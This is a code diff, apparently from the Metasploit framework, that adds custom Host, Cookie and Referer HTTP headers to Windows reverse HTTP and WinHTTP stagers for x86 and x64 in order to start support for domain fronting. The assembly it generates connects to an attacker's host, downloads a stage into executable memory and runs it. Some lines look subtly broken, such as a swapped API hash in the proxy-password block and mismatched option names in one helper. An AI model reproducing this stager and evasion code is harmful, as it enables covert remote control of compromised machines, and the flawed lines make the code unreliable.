Add HTTP header support for Host/Cookie/Referer
This is to start the support for things like domain fronting.
This commit is contained in:
@@ -347,8 +347,6 @@ protected
|
||||
blob = self.generate_stage(
|
||||
url: url,
|
||||
uuid: uuid,
|
||||
lhost: uri.host,
|
||||
lport: uri.port,
|
||||
uri: conn_id
|
||||
)
|
||||
|
||||
|
||||
@@ -56,16 +56,17 @@ module Msf::Payload::TransportConfig
|
||||
|
||||
ds = opts[:datastore] || datastore
|
||||
{
|
||||
scheme: ds['OverrideScheme'] || 'http',
|
||||
lhost: opts[:lhost] || ds['LHOST'],
|
||||
lport: (opts[:lport] || ds['LPORT']).to_i,
|
||||
uri: uri,
|
||||
ua: ds['MeterpreterUserAgent'],
|
||||
proxy_host: ds['PayloadProxyHost'],
|
||||
proxy_port: ds['PayloadProxyPort'],
|
||||
proxy_type: ds['PayloadProxyType'],
|
||||
proxy_user: ds['PayloadProxyUser'],
|
||||
proxy_pass: ds['PayloadProxyPass']
|
||||
scheme: ds['OverrideScheme'] || 'http',
|
||||
lhost: opts[:lhost] || ds['LHOST'],
|
||||
lport: (opts[:lport] || ds['LPORT']).to_i,
|
||||
uri: uri,
|
||||
ua: ds['MeterpreterUserAgent'],
|
||||
proxy_host: ds['PayloadProxyHost'],
|
||||
proxy_port: ds['PayloadProxyPort'],
|
||||
proxy_type: ds['PayloadProxyType'],
|
||||
proxy_user: ds['PayloadProxyUser'],
|
||||
proxy_pass: ds['PayloadProxyPass'],
|
||||
custom_headers: get_custom_headers(ds)
|
||||
}.merge(timeout_config(opts))
|
||||
end
|
||||
|
||||
@@ -80,6 +81,13 @@ module Msf::Payload::TransportConfig
|
||||
|
||||
private
|
||||
|
||||
def get_custom_headers(ds)
|
||||
headers = ""
|
||||
headers << "Host: #{ds['HttpHost']}\r\n" if ds['HttpHost']
|
||||
headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
|
||||
headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
|
||||
end
|
||||
|
||||
def timeout_config(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
{
|
||||
|
||||
@@ -36,7 +36,10 @@ module Payload::Windows::ReverseHttp
|
||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
||||
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
|
||||
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
|
||||
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]),
|
||||
OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']),
|
||||
OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']),
|
||||
OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
@@ -47,22 +50,23 @@ module Payload::Windows::ReverseHttp
|
||||
ds = opts[:datastore] || datastore
|
||||
conf = {
|
||||
ssl: opts[:ssl] || false,
|
||||
host: ds['LHOST'],
|
||||
host: ds['LHOST'] || '127.127.127.127',
|
||||
port: ds['LPORT'],
|
||||
retry_count: ds['StagerRetryCount'],
|
||||
retry_wait: ds['StagerRetryWait']
|
||||
retry_wait: ds['StagerRetryWait']
|
||||
}
|
||||
|
||||
# Add extra options if we have enough space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:url] = luri + generate_uri(opts)
|
||||
conf[:exitfunk] = ds['EXITFUNC']
|
||||
conf[:ua] = ds['MeterpreterUserAgent']
|
||||
conf[:proxy_host] = ds['PayloadProxyHost']
|
||||
conf[:proxy_port] = ds['PayloadProxyPort']
|
||||
conf[:proxy_user] = ds['PayloadProxyUser']
|
||||
conf[:proxy_pass] = ds['PayloadProxyPass']
|
||||
conf[:proxy_type] = ds['PayloadProxyType']
|
||||
if self.available_space.nil? || required_space <= self.available_space
|
||||
conf[:url] = luri + generate_uri(opts)
|
||||
conf[:exitfunk] = ds['EXITFUNC']
|
||||
conf[:ua] = ds['MeterpreterUserAgent']
|
||||
conf[:proxy_host] = ds['PayloadProxyHost']
|
||||
conf[:proxy_port] = ds['PayloadProxyPort']
|
||||
conf[:proxy_user] = ds['PayloadProxyUser']
|
||||
conf[:proxy_pass] = ds['PayloadProxyPass']
|
||||
conf[:proxy_type] = ds['PayloadProxyType']
|
||||
conf[:custom_headers] = get_custom_headers(ds)
|
||||
else
|
||||
# Otherwise default to small URIs
|
||||
conf[:url] = luri + generate_small_uri
|
||||
@@ -71,6 +75,22 @@ module Payload::Windows::ReverseHttp
|
||||
generate_reverse_http(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the custom headers string
|
||||
#
|
||||
def get_custom_headers(ds)
|
||||
headers = ""
|
||||
headers << "Host: #{ds['HttpHeaderHost']}\r\n" if ds['HttpHeaderHost']
|
||||
headers << "Cookie: #{ds['HttpHeaderCookie']}\r\n" if ds['HttpHeaderCookie']
|
||||
headers << "Referer: #{ds['HttpHeaderReferer']}\r\n" if ds['HttpHeaderReferer']
|
||||
|
||||
if headers.length > 0
|
||||
headers
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
@@ -138,10 +158,23 @@ module Payload::Windows::ReverseHttp
|
||||
# Proxy options?
|
||||
space += 200
|
||||
|
||||
# Custom headers? Ugh, impossible to tell
|
||||
space += 512
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Convert a string into a NULL-terminated ASCII byte array
|
||||
#
|
||||
def asm_generate_ascii_array(str)
|
||||
(str.to_s + "\x00").
|
||||
unpack("C*").
|
||||
map{ |c| "0x%.2x" % c }.
|
||||
join(",")
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
@@ -155,6 +188,7 @@ module Payload::Windows::ReverseHttp
|
||||
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
|
||||
# @option opts [String] :proxy_user The optional proxy server username
|
||||
# @option opts [String] :proxy_pass The optional proxy server password
|
||||
# @option opts [String] :custom_headers The optional collection of custom headers for the payload.
|
||||
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
||||
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
|
||||
#
|
||||
@@ -181,6 +215,8 @@ module Payload::Windows::ReverseHttp
|
||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
|
||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
|
||||
|
||||
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers])
|
||||
|
||||
http_open_flags = 0
|
||||
secure_flags = 0
|
||||
|
||||
@@ -222,10 +258,10 @@ module Payload::Windows::ReverseHttp
|
||||
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
||||
push 0x696e6977 ; ...
|
||||
push esp ; Push a pointer to the "wininet" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call ebp ; LoadLibraryA( "wininet" )
|
||||
xor ebx, ebx ; Set ebx to NULL to use in future arguments
|
||||
^
|
||||
^
|
||||
|
||||
if proxy_enabled
|
||||
asm << %Q^
|
||||
@@ -238,7 +274,7 @@ module Payload::Windows::ReverseHttp
|
||||
; LPCTSTR lpszProxyName (via call)
|
||||
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
|
||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
|
||||
call ebp
|
||||
^
|
||||
else
|
||||
@@ -249,7 +285,7 @@ module Payload::Windows::ReverseHttp
|
||||
push ebx ; LPCTSTR lpszProxyName (NULL)
|
||||
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
@@ -267,10 +303,10 @@ module Payload::Windows::ReverseHttp
|
||||
db "#{opts[:url]}", 0x00
|
||||
got_server_host:
|
||||
push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
|
||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}
|
||||
call ebp
|
||||
mov esi, eax ; Store hConnection in esi
|
||||
^
|
||||
^
|
||||
|
||||
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
|
||||
# doesn't set the Proxy-Authorization header on the CONNECT request.
|
||||
@@ -286,7 +322,7 @@ module Payload::Windows::ReverseHttp
|
||||
; LPVOID lpBuffer (username from previous call)
|
||||
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
|
||||
push esi ; hConnection
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
@@ -302,7 +338,7 @@ module Payload::Windows::ReverseHttp
|
||||
; LPVOID lpBuffer (password from previous call)
|
||||
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
|
||||
push esi ; hConnection
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpAddRequestHeaders')}
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
@@ -317,7 +353,7 @@ module Payload::Windows::ReverseHttp
|
||||
push edi ; server URI
|
||||
push ebx ; method
|
||||
push esi ; hConnection
|
||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}
|
||||
call ebp
|
||||
xchg esi, eax ; save hHttpRequest in esi
|
||||
^
|
||||
@@ -334,7 +370,6 @@ module Payload::Windows::ReverseHttp
|
||||
send_request:
|
||||
^
|
||||
|
||||
|
||||
if opts[:ssl]
|
||||
asm << %Q^
|
||||
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
|
||||
@@ -345,7 +380,7 @@ module Payload::Windows::ReverseHttp
|
||||
push eax ; &dwFlags
|
||||
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||
push esi ; hHttpRequest
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
@@ -354,17 +389,32 @@ module Payload::Windows::ReverseHttp
|
||||
httpsendrequest:
|
||||
push ebx ; lpOptional length (0)
|
||||
push ebx ; lpOptional (NULL)
|
||||
push ebx ; dwHeadersLength (0)
|
||||
push ebx ; lpszHeaders (NULL)
|
||||
^
|
||||
|
||||
if custom_headers
|
||||
asm << %Q^
|
||||
push -1 ; dwHeadersLength (assume NULL terminated)
|
||||
call get_req_headers ; lpszHeaders (pointer to the custom headers)
|
||||
db #{custom_headers}
|
||||
get_req_headers:
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
push ebx ; HeadersLength (0)
|
||||
push ebx ; Headers (NULL)
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
push esi ; hHttpRequest
|
||||
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz allocate_memory
|
||||
|
||||
set_wait:
|
||||
push #{retry_wait} ; dwMilliseconds
|
||||
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
|
||||
call ebp ; Sleep( dwMilliseconds );
|
||||
^
|
||||
|
||||
@@ -404,7 +454,7 @@ module Payload::Windows::ReverseHttp
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||
push ebx ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
@@ -418,7 +468,7 @@ module Payload::Windows::ReverseHttp
|
||||
push 8192 ; read length
|
||||
push ebx ; buffer
|
||||
push esi ; hRequest
|
||||
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
|
||||
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
|
||||
call ebp
|
||||
|
||||
test eax,eax ; download failed? (optional?)
|
||||
|
||||
@@ -29,24 +29,26 @@ module Payload::Windows::ReverseWinHttp
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
conf = {
|
||||
ssl: opts[:ssl] || false,
|
||||
host: datastore['LHOST'] || '127.127.127.127',
|
||||
port: datastore['LPORT']
|
||||
ssl: opts[:ssl] || false,
|
||||
host: ds['LHOST'] || '127.127.127.127',
|
||||
port: ds['LPORT']
|
||||
}
|
||||
|
||||
# Add extra options if we have enough space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
if self.available_space.nil? || required_space <= self.available_space
|
||||
conf[:uri] = luri + generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:exitfunk] = ds['EXITFUNC']
|
||||
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
conf[:retry_count] = datastore['StagerRetryCount']
|
||||
conf[:proxy_ie] = datastore['PayloadProxyIE']
|
||||
conf[:proxy_host] = ds['PayloadProxyHost']
|
||||
conf[:proxy_port] = ds['PayloadProxyPort']
|
||||
conf[:proxy_user] = ds['PayloadProxyUser']
|
||||
conf[:proxy_pass] = ds['PayloadProxyPass']
|
||||
conf[:proxy_type] = ds['PayloadProxyType']
|
||||
conf[:retry_count] = ds['StagerRetryCount']
|
||||
conf[:proxy_ie] = ds['PayloadProxyIE']
|
||||
conf[:custom_headers] = get_custom_headers(ds)
|
||||
else
|
||||
# Otherwise default to small URIs
|
||||
conf[:uri] = luri + generate_small_uri
|
||||
@@ -93,6 +95,9 @@ module Payload::Windows::ReverseWinHttp
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# Custom headers? Ugh, impossible to tell
|
||||
space += 512 * 2
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
@@ -167,6 +172,8 @@ module Payload::Windows::ReverseWinHttp
|
||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
|
||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
|
||||
|
||||
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers])
|
||||
|
||||
http_open_flags = 0
|
||||
secure_flags = 0
|
||||
|
||||
@@ -434,8 +441,23 @@ module Payload::Windows::ReverseWinHttp
|
||||
push ebx ; TotalLength [6]
|
||||
push ebx ; OptionalLength (0) [5]
|
||||
push ebx ; Optional (NULL) [4]
|
||||
^
|
||||
|
||||
if custom_headers
|
||||
asm << %Q^
|
||||
push -1 ; dwHeadersLength (assume NULL terminated) [3]
|
||||
call get_req_headers ; lpszHeaders (pointer to the custom headers) [2]
|
||||
db #{custom_headers}
|
||||
get_req_headers:
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
push ebx ; HeadersLength (0) [3]
|
||||
push ebx ; Headers (NULL) [2]
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
push esi ; HttpRequest handle returned by WinHttpOpenRequest [1]
|
||||
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')}
|
||||
call ebp
|
||||
|
||||
@@ -36,7 +36,10 @@ module Payload::Windows::ReverseHttp_x64
|
||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
||||
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
|
||||
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
|
||||
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]),
|
||||
OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']),
|
||||
OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']),
|
||||
OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
@@ -52,14 +55,14 @@ module Payload::Windows::ReverseHttp_x64
|
||||
|
||||
conf = {
|
||||
ssl: opts[:ssl] || false,
|
||||
host: ds['LHOST'],
|
||||
host: ds['LHOST'] || '127.127.127.127',
|
||||
port: ds['LPORT'],
|
||||
retry_count: ds['StagerRetryCount'],
|
||||
retry_wait: ds['StagerRetryWait']
|
||||
retry_wait: ds['StagerRetryWait']
|
||||
}
|
||||
|
||||
# add extended options if we do have enough space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
if self.available_space.nil? || required_space <= self.available_space
|
||||
conf[:url] = luri + generate_uri(opts)
|
||||
conf[:exitfunk] = ds['EXITFUNC']
|
||||
conf[:ua] = ds['MeterpreterUserAgent']
|
||||
@@ -68,6 +71,7 @@ module Payload::Windows::ReverseHttp_x64
|
||||
conf[:proxy_user] = ds['PayloadProxyUser']
|
||||
conf[:proxy_pass] = ds['PayloadProxyPass']
|
||||
conf[:proxy_type] = ds['PayloadProxyType']
|
||||
conf[:custom_headers] = get_custom_headers(ds)
|
||||
else
|
||||
# Otherwise default to small URIs
|
||||
conf[:url] = luri + generate_small_uri
|
||||
@@ -76,6 +80,22 @@ module Payload::Windows::ReverseHttp_x64
|
||||
generate_reverse_http(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the custom headers string
|
||||
#
|
||||
def get_custom_headers(ds)
|
||||
headers = ""
|
||||
headers << "Host: #{ds['HttpHeaderHost']}\r\n" if ds['HttpHeaderHost']
|
||||
headers << "Cookie: #{ds['HttpHeaderCookie']}\r\n" if ds['HttpHeaderCookie']
|
||||
headers << "Referer: #{ds['HttpHeaderReferer']}\r\n" if ds['HttpHeaderReferer']
|
||||
|
||||
if headers.length > 0
|
||||
headers
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
@@ -89,6 +109,7 @@ module Payload::Windows::ReverseHttp_x64
|
||||
pop rbp ; rbp now contains the block API pointer
|
||||
#{asm_reverse_http(opts)}
|
||||
^
|
||||
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
@@ -137,10 +158,23 @@ module Payload::Windows::ReverseHttp_x64
|
||||
# Proxy options?
|
||||
space += 200
|
||||
|
||||
# Custom headers? Ugh, impossible to tell
|
||||
space += 512
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Convert a string into a NULL-terminated ASCII byte array
|
||||
#
|
||||
def asm_generate_ascii_array(str)
|
||||
(str.to_s + "\x00").
|
||||
unpack("C*").
|
||||
map{ |c| "0x%.2x" % c }.
|
||||
join(",")
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
@@ -154,6 +188,7 @@ module Payload::Windows::ReverseHttp_x64
|
||||
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
|
||||
# @option opts [String] :proxy_user The optional proxy server username
|
||||
# @option opts [String] :proxy_pass The optional proxy server password
|
||||
# @option opts [String] :custom_headers The optional collection of custom headers for the payload.
|
||||
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
||||
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
|
||||
#
|
||||
@@ -180,6 +215,8 @@ module Payload::Windows::ReverseHttp_x64
|
||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
|
||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
|
||||
|
||||
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers])
|
||||
|
||||
http_open_flags = 0
|
||||
set_option_flags = 0
|
||||
|
||||
@@ -327,17 +364,15 @@ module Payload::Windows::ReverseHttp_x64
|
||||
|
||||
if retry_count > 0
|
||||
asm << %Q^
|
||||
push #{retry_count}
|
||||
pop rdi
|
||||
push #{retry_count}
|
||||
pop rdi
|
||||
^
|
||||
end
|
||||
|
||||
|
||||
asm << %Q^
|
||||
retryrequest:
|
||||
^
|
||||
|
||||
|
||||
if opts[:ssl]
|
||||
asm << %Q^
|
||||
internetsetoption:
|
||||
@@ -351,15 +386,30 @@ module Payload::Windows::ReverseHttp_x64
|
||||
pop r9 ; dwBufferLength (4 = size of flags)
|
||||
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
|
||||
call rbp
|
||||
|
||||
xor r8, r8 ; dwHeadersLen (0)
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
httpsendrequest:
|
||||
mov rcx, rsi ; hRequest (request handle)
|
||||
if custom_headers
|
||||
asm << %Q^
|
||||
call get_req_headers ; lpszHeaders (pointer to the custom headers)
|
||||
db #{custom_headers}
|
||||
get_req_headers:
|
||||
pop rdx ; lpszHeaders
|
||||
dec r8 ; dwHeadersLength (assume NULL terminated)
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
push rbx
|
||||
pop rdx ; lpszHeaders (NULL)
|
||||
xor r8, r8 ; dwHeadersLen (0)
|
||||
^
|
||||
end
|
||||
|
||||
|
||||
asm << %Q^
|
||||
mov rcx, rsi ; hRequest (request handle)
|
||||
xor r9, r9 ; lpszVersion (NULL)
|
||||
xor r9, r9 ; lpszVersion (NULL)
|
||||
push rbx ; stack alignment
|
||||
push rbx ; dwOptionalLength (0)
|
||||
|
||||
@@ -30,24 +30,26 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
conf = {
|
||||
ssl: opts[:ssl] || false,
|
||||
host: datastore['LHOST'] || '127.127.127.127',
|
||||
port: datastore['LPORT']
|
||||
ssl: opts[:ssl] || false,
|
||||
host: ds['LHOST'] || '127.127.127.127',
|
||||
port: ds['LPORT']
|
||||
}
|
||||
|
||||
# Add extra options if we have enough space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
if self.available_space.nil? || required_space <= self.available_space
|
||||
conf[:uri] = luri + generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:exitfunk] = ds['EXITFUNC']
|
||||
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
conf[:retry_count] = datastore['StagerRetryCount']
|
||||
conf[:proxy_ie] = datastore['PayloadProxyIE']
|
||||
conf[:proxy_host] = ds['PayloadProxyHost']
|
||||
conf[:proxy_port] = ds['PayloadProxyPort']
|
||||
conf[:proxy_user] = ds['PayloadProxyUser']
|
||||
conf[:proxy_pass] = ds['PayloadProxyPass']
|
||||
conf[:proxy_type] = ds['PayloadProxyType']
|
||||
conf[:retry_count] = ds['StagerRetryCount']
|
||||
conf[:proxy_ie] = ds['PayloadProxyIE']
|
||||
conf[:custom_headers] = get_custom_headers(ds)
|
||||
else
|
||||
# Otherwise default to small URIs
|
||||
conf[:uri] = luri + generate_small_uri
|
||||
@@ -95,6 +97,9 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# Custom headers? Ugh, impossible to tell
|
||||
space += 512
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
@@ -115,12 +120,18 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Bool] :ssl Whether or not to enable SSL
|
||||
# @option opts [String] :uri The URI to request during staging
|
||||
# @option opts [String] :url The URI to request during staging
|
||||
# @option opts [String] :host The host to connect to
|
||||
# @option opts [Integer] :port The port to connect to
|
||||
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [String] :proxy_host The optional proxy server host to use
|
||||
# @option opts [Integer] :proxy_port The optional proxy server port to use
|
||||
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
|
||||
# @option opts [String] :proxy_user The optional proxy server username
|
||||
# @option opts [String] :proxy_pass The optional proxy server password
|
||||
# @option opts [String] :custom_headers The optional collection of custom headers for the payload.
|
||||
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
||||
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
|
||||
#
|
||||
def asm_reverse_winhttp(opts={})
|
||||
|
||||
@@ -169,6 +180,8 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
|
||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
|
||||
|
||||
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers])
|
||||
|
||||
http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||
secure_flags = (
|
||||
0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
@@ -431,15 +444,29 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||
pop r9 ; dwBufferLength (4 = size of flags)
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption
|
||||
call rbp
|
||||
|
||||
xor r8, r8 ; dwHeadersLen (0)
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
winhttpsendrequest:
|
||||
mov rcx, rsi ; hRequest (request handle)
|
||||
if custom_headers
|
||||
asm << %Q^
|
||||
call get_req_headers ; lpszHeaders (pointer to the custom headers)
|
||||
db #{custom_headers}
|
||||
get_req_headers:
|
||||
pop rdx ; lpszHeaders
|
||||
dec r8 ; dwHeadersLength (assume NULL terminated)
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
push rbx
|
||||
pop rdx ; lpszHeaders (NULL)
|
||||
xor r8, r8 ; dwHeadersLen (0)
|
||||
^
|
||||
end
|
||||
|
||||
|
||||
asm << %Q^
|
||||
mov rcx, rsi ; hRequest (request handle)
|
||||
xor r9, r9 ; lpszVersion (NULL)
|
||||
push rbx ; stack alignment
|
||||
push rbx ; dwContext (0)
|
||||
|
||||
@@ -108,15 +108,19 @@ private
|
||||
cert_hash = "\x00" * CERT_HASH_SIZE
|
||||
cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]
|
||||
|
||||
custom_headers = opts[:custom_headers] || ''
|
||||
custom_headers = to_str(custom_headers, custom_headers.length + 1)
|
||||
|
||||
# add the HTTP specific stuff
|
||||
transport_data << proxy_host # Proxy host name
|
||||
transport_data << proxy_user # Proxy user name
|
||||
transport_data << proxy_pass # Proxy password
|
||||
transport_data << ua # HTTP user agent
|
||||
transport_data << cert_hash # SSL cert hash for verification
|
||||
transport_data << proxy_host # Proxy host name
|
||||
transport_data << proxy_user # Proxy user name
|
||||
transport_data << proxy_pass # Proxy password
|
||||
transport_data << ua # HTTP user agent
|
||||
transport_data << cert_hash # SSL cert hash for verification
|
||||
transport_data << custom_headers # any custom headers that the client needs
|
||||
|
||||
# update the packing spec
|
||||
pack << 'A*A*A*A*A*'
|
||||
pack << 'A*A*A*A*A*A*'
|
||||
